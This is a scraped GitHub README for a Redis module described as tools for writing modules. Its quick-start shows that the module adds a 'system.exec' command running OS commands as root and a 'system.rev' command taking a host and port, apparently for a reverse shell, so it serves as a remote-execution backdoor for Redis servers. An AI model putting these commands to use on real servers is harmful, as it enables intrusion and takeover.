8000 GitHub - akamajoris/RedisModules-ExecuteCommand: Tools, utilities and scripts to help you write redis modules!
[go: up one dir, main page]
More Web Proxy on the site http://driver.im/
Skip to content

akamajoris/RedisModules-ExecuteCommand

 
 

Repository files navigation

RedisModules-ExecuteCommand

Quick Start Guide

Here's what you need to do to build your first module:

  1. Build Redis in a build supporting modules.
  2. Build librmutil and the module by running make. (you can also build them seperatly by running make in their respective dirs)
  3. Run redis loading the module: /path/to/redis-server --loadmodule ./module.so

Now run redis-cli and try the commands:

127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999

Enjoy!

About

Tools, utilities and scripts to help you write redis modules!

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • C 97.0%
  • C++ 1.6%
  • Makefile 1.4%
0